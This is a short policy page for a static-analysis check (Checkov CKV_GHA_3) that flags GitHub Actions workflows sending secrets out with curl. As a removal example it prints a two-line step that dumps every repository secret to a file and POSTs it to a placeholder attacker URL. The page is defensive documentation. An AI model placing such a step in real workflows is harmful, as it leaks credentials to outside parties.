Suspicious use of curl with secrets
Error: GitHub Actions curl is being with secrets
Bridgecrew Policy ID: BC_REPO_GITHUB_ACTION_3
Checkov Check ID: CKV_GHA_3
Severity: LOW
GitHub Actions curl is being with secrets
If a secret is able to be obtained in a workflow and a bad actor can modify the GitHub Action, they can send the secret to a website they own via curl.
Fix - Buildtime
GitHub Actions
Block code and remove code that attempts to exfiltrate secrets.
run: |
- echo "${{ toJSON(secrets) }}" > .secrets
- curl -X POST -s --data "@.secrets" <BADURL > /dev/null
Updated 9 months ago